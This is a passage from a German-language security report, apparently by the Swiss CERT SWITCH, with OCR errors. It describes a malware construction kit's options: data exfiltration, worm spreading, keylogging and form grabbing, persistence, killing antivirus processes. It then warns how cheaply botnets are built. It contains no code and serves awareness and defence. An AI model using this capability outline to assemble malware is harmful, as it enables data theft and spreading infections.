an den Angreifer gesandt werden sollen. Dies kann beispielsweise Uber SMTP oder HTTP
erfolgen, beziehungsweise in eine Datei auf dem System geschrieben werden (siehe Abbildung
20). Je nach Auswahl sind die entsprechenden Parameter anzugeben wie z.B. der SMTP-Server,
der Port, die E-Mail-Adresse oder der Dropzone-Server.

Des Weiteren steht unter dem Menupunkt ,Worm® eine Verbreitungsroutine zur Verfigung. Damit
wird die Festplatte nach E-Mail-Adressen durchsucht und die Schadsoftware an die gefundenen
Adressen versandt. Selbstverstandlich ist ein Filter vorhanden, so dass sich bestimmte Domanen
als Empfanger der E-Mails ausschliessen lassen (Abbildung 21, rechts).

Der Menupunkt ,Spy“ ermoglicht spezifische Einstellungen zu Keylogging oder dem Webform-
grabbing. Bei Letzterem werden die Eingaben des Benutzers, sofern es sich um Webformfelder
handelt, aufgezeichnet. Ebenso lassen sich Printscreens vom infizierten System erzeugen.
Selbstverstandlich kann das Ausgabeformat gewahlt werden (siehe Abbildung 21, links).

Ein weiteres Highlight bietet die Auswahl, wie sich die Schadsoftware in das System einnistet
bzw. wie die Schadsoftware ausgefuhrt werden soll. Auch hier stehen unterschiedliche Optionen
zur Verfagung (siehe Abbildung 22, links).
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Abbildung 21: Keylogging und Verbreitungsmoglichkeit

Unter dem MenUpunkt ,Kill“ 1asst sich schliesslich definieren, welche Prozesse auf dem System
terminiert werden sollen. Dies dient vor allem dazu, Sicherheitssoftware wie Virenscanner oder
Firewalls zu deaktivieren. Unterschiedliche Verschlisselungen und Packer stehen ebenfalls zur
Auswabhl. All dies zeigt eindrlcklich auf, wie einfach sich Schadcode mit ein paar Mausklicks zu-
sammenstellen Iasst.
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Abbildung 22: Ausfiihrung und Terminierung von Prozessen

2.5. Fazit

Mit einigen hundert Franken kann selbst eine technisch wenig versierte Person ein eigenes Bot-
net aufbauen und betreiben. Das Risiko gefasst zu werden, ist gemessen am potenziellen Ver-
dienst extrem gering. Die gesammelten Daten lassen sich in der einen oder anderen Form leicht
zu Geld machen. Beispiele sind Kreditkarten-Daten, Zugangsdaten zum Internet-Banking, Soft-
ware-SchlUssel fur Spiele oder dergleichen und immer haufiger auch Daten, mit denen das Opfer
erpresst werden kann. Botnets werden an Spammer vermietet oder fir DDoS-Attacken einge-
setzt. Sie bilden somit das Fundament fir Internetkriminelle.

Solange Heimanwender wie auch Webadministratoren die Sicherheit ihrer Rechner/Systeme
.stiefmatterlich“ behandeln, bleiben ,Drive by Infection“-Angriffe wie auch Botnetze nach wie vor
ein erhebliches Problem.

Dieses Dokument finden Sie auch auf unserer Internetseite unter:
http://www.switch.ch/all/cert_IT/downloads/measures
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